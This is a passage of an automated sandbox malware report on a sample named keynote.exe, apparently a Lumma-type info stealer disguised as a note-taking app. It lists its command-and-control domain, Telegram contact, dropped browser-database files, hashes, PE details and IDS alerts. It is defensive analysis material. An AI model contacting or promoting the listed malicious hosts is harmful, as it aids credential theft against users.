https://qodcsxcvbdbtcih.itrw/	keynote.exe, 00000000.00000003.1712504183.000000000067F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	false		high
https://bzondingmoments.tech/alse	keynote.exe, 00000000.00000003.2032141767.0000000003015000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2000931458.0000000003015000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000002.2047376125.0000000003015000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1986262641.0000000003015000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010492004.0000000003015000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1981167391.0000000003014000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	6D9825A5BA1684D6.dat.0.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	keynote.exe, 00000000.00000003.1849512666.000000000303A000.00000004.00000800.00020000.00000000.sdmp, 85210EAE92C8B7A2.dat.0.dr	false		high
https://bzondingmoments.tech/h	keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1981167391.0000000003014000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.17.68	bzondingmoments.tech	United States		13335	CLOUDFLARENETUS	true
149.154.167.99	t.me	United Kingdom		62041	TELEGRAMRU	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1617413
Start date and time:	2025-02-17 22:14:41 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	keynote.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/11@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target keynote.exe, PID 7324 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:15:37	API Interceptor	8x Sleep call for process: keynote.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.99	http://45.142.208.144.sslip.io/blog/	Get hash	malicious	Unknown	Browse	telegram.org/img/emoji/40/F09F9889.png
	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	updater.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	lnst#U0430Il#U0435r86x.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	lum.ps1	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	mma.ps1	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	http://www.velineue.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
	SecuriteInfo.com.Win32.Malware-gen.26093.20806.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	4mDVpaKpPG.exe	Get hash	malicious	Unknown	Browse	149.154.167.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	SecuriteInfo.com.Win32.Trojan-Downloader.GuLoader.QAKJ8V.27372.733.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	DeepLauncher.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	[Huawei] Contract for YouTube partners.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Editing.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Terms_of_reference_06_01_2025_samsung.scr.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	JV4lf0wkWV.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Nonmerchantable.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	updater.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	JUSTIFICANTE DE TRANSFERENCIA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	copia_01929pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
CLOUDFLARENETUS	https://compucallinc.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.67.142.245
	https://compucallinc.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.27.152
	JJsploit_fix.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	Bootstrapper.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	FutureClient.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	Launcher.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.83.88
	FusionLoader v2.1.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.150.155
	http://itcmi.org	Get hash	malicious	Unknown	Browse	1.1.1.1
	Software Loader.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	SecuriteInfo.com.Win32.Trojan-Downloader.GuLoader.QAKJ8V.27372.733.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.48.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	JJsploit_fix.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.17.68 149.154.167.99
	Bootstrapper.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.17.68 149.154.167.99
	FutureClient.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.17.68 149.154.167.99
	Launcher.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.17.68 149.154.167.99
	FusionLoader v2.1.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.17.68 149.154.167.99
	Software Loader.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.17.68 149.154.167.99
	SecuriteInfo.com.W32.PossibleThreat.6050.24821.exe	Get hash	malicious	Unknown	Browse	104.21.17.68 149.154.167.99
	SecuriteInfo.com.W32.PossibleThreat.6050.24821.exe	Get hash	malicious	Unknown	Browse	104.21.17.68 149.154.167.99
	setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.17.68 149.154.167.99
	Inject.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.17.68 149.154.167.99

Process:	C:\Users\user\Desktop\keynote.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\19C54F81EDD87473.dat

Download File

Process:	C:\Users\user\Desktop\keynote.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\1E8B952B665DD825.dat

Download File

Process:	C:\Users\user\Desktop\keynote.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\20ED4E04906A1ED6.dat

Download File

Process:	C:\Users\user\Desktop\keynote.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\2790DB6CD4A3A042.dat

Download File

Process:	C:\Users\user\Desktop\keynote.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 7, database pages 7, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	229376
Entropy (8bit):	0.64343788909108
Encrypted:	false
SSDEEP:	384:A1zkVmvQhyn+Zoz67dNlIMMz333JGN8j/LKXYj5kuv:AUUMXCyIr
MD5:	B6787B79D64948AAC1D6359AC18AB268
SHA1:	0831EB15AB2B330BE95975A24F8945ED284D0BA4
SHA-256:	9D6FD3B8AB8AA7934C75EDE36CEB9CF4DDAD06C5031E89872B4E814D7DB674E2
SHA-512:	9296866380EF966F1CB6E69B7B84D1A86CD5AE8D9A7332C57543875FAA4FC7F1387A4CF83B7D662E4BAB0381E4AFC9CB9999075EBB497C6756DF770454F3530E
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......z..{...{.{j{*z.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\4A115E6C02F906A2.dat

Download File

Process:	C:\Users\user\Desktop\keynote.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\6D9825A5BA1684D6.dat

Download File

Process:	C:\Users\user\Desktop\keynote.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\85210EAE92C8B7A2.dat

Download File

Process:	C:\Users\user\Desktop\keynote.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\9A14DA9076E5547F.dat

Download File

Process:	C:\Users\user\Desktop\keynote.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\C48776683BFCDA42.dat

Download File

Process:	C:\Users\user\Desktop\keynote.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08436842005578409
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vIn:51zkVmvQhyn+Zoz67n
MD5:	2CD2840E30F477F23438B7C9D031FC08
SHA1:	03D5410A814B298B068D62ACDF493B2A49370518
SHA-256:	49F56AAA16086F2A9DB340CC9A6E8139E076765C1BFED18B1725CC3B395DC28D
SHA-512:	DCDD722C3A8AD79265616ADDDCA208E068E4ECEBE8820E4ED16B1D1E07FD52EB3A59A22988450071CFDA50BBFF7CB005ADF05A843DA38421F28572F3433C0F19
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\C71400AC96956F28.dat

Download File

Process:	C:\Users\user\Desktop\keynote.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.0404066992994965
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	keynote.exe
File size:	6'303'232 bytes
MD5:	c917b7129ef904754323b0daeb255461
SHA1:	3b81ee4909706e9a4c8e52521dd26cb65c42d368
SHA256:	a1ef7879bf82edfb76625282ebcc27c24be86b370bcf9fe78064848c47db0cf3
SHA512:	0e4a4c265b5f5bb9624c4467723d58bea55c61e76c129110ebc57f171c412260e39f733e10b5d52e77fa47516040aef8c185d9a7850970b5806e02f7d6910bc1
SSDEEP:	24576:SQgVxajh8GmU+8EpbUAEp4Wfgc1UtDP6zI8Fa6p5KjB0ZqSB3ctmwKMleKeO25NF:nj9WH6LFapB0QoxO25sR
TLSH:	B2567161D537680F9ACA3A7E7671378CB43758A70BC198799E4F1A6DACE013C8AC4743
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H...)...)...).......)...Q...)...)...)..7....)..7.H..)...) ..)..7....)..Rich.)..........PE..L......g...............*.._........

File Icon


Icon Hash:	8b939393b39de10b

Static PE Info

General

Entrypoint:	0x401200
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67B386A3 [Mon Feb 17 18:57:39 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	4383199e38059ee0c77b99ee131e5312

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 28h
lea eax, dword ptr [ebp-28h]
push eax
call dword ptr [009FB004h]
mov ecx, dword ptr [ebp-14h]
mov dword ptr [ebp-04h], ecx
cmp dword ptr [ebp-04h], 02h
jnc 00007F47A91FBAE9h
mov eax, 00000001h
jmp 00007F47A91FBAF0h
call 00007F47A920EF3Dh
push 00000001h
call dword ptr [009FB008h]
nop
mov esp, ebp
pop ebp
retn 0010h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr fs:[00000030h]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+18h]
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push ecx
mov dword ptr [ebp-04h], 00000000h
jmp 00007F47A91FBAEBh
mov eax, dword ptr [ebp-04h]
add eax, 01h
mov dword ptr [ebp-04h], eax
mov ecx, dword ptr [ebp+08h]
add ecx, dword ptr [ebp-04h]
movsx edx, byte ptr [ecx]
test edx, edx
je 00007F47A91FBAE4h
jmp 00007F47A91FBACAh
mov eax, dword ptr [ebp-04h]
mov esp, ebp
pop ebp
retn 0004h
int3
int3
push ebp
mov ebp, esp
sub esp, 1Ch
cmp dword ptr [ebp+08h], 00000000h
jne 00007F47A91FBAE9h
xor eax, eax
jmp 00007F47A91FBC68h
mov eax, dword ptr [ebp+08h]
push eax
call 00007F47A91FBA99h
mov dword ptr [ebp-0Ch], eax
cmp dword ptr [ebp-0Ch], 00000000h
jne 00007F47A91FBAE9h
xor eax, eax
jmp 00007F47A91FBC4Fh
mov dword ptr [ebp-04h], 00000000h
mov dword ptr [ebp-18h], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5fb214	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5fe000	0x122a	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x600000	0x772c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5fb014	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5fb000	0x14	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5f97eb	0x5f9800	30d9028b609dae4fcd027cd646ea118e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x5fb000	0x298	0x400	85f4433d4673775bccde48ff6e73e711	False	0.392578125	data	3.201946012710144	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5fc000	0x1160	0x200	e31613e7ebe7a927ba852f2375a19cc0	False	0.044921875	data	0.12227588125913882	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5fe000	0x122a	0x1400	2063a5d1e72ea20c618dbbb511ff3f65	False	0.3380859375	data	4.874945698344955	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x600000	0x772c	0x7800	7f71f5a23661985ab5ea7307cda3752d	False	0.6435221354166667	data	6.110412084686699	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x5fe1c0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.33064516129032256
RT_ICON	0x5fe4a8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640			0.3682795698924731
RT_GROUP_ICON	0x5fe790	0x14	data	English	United States	1.2
RT_GROUP_ICON	0x5fe7a4	0x14	data			1.25
RT_VERSION	0x5fe7b8	0x30c	data	English	United States	0.4987179487179487
RT_MANIFEST	0x5feac4	0x766	XML 1.0 document, ASCII text, with CRLF, LF line terminators	English	United States	0.3907074973600845

Imports

DLL	Import
KERNEL32.dll	GlobalFree, GetSystemInfo, ExitProcess, GlobalAlloc

Version Infos

Description	Data
FileDescription	KeyNote NF 2.0.4.1 (x64)
FileVersion	2.0.4.1
LegalCopyright	(c) Daniel Prado 2007-25 (c) Marek Jedlinski 2000-05
LegalTrademarks	Free software, MPL 2.0
OriginalFilename	keynote.exe
ProductName	Task Manager DeLuxe
ProductVersion	2.0.4.1
Translation	0x0409 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-17T22:15:37.726568+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	149.154.167.99	443	TCP
2025-02-17T22:15:38.578633+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.17.68	443	TCP
2025-02-17T22:15:50.313083+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49732	104.21.17.68	443	TCP
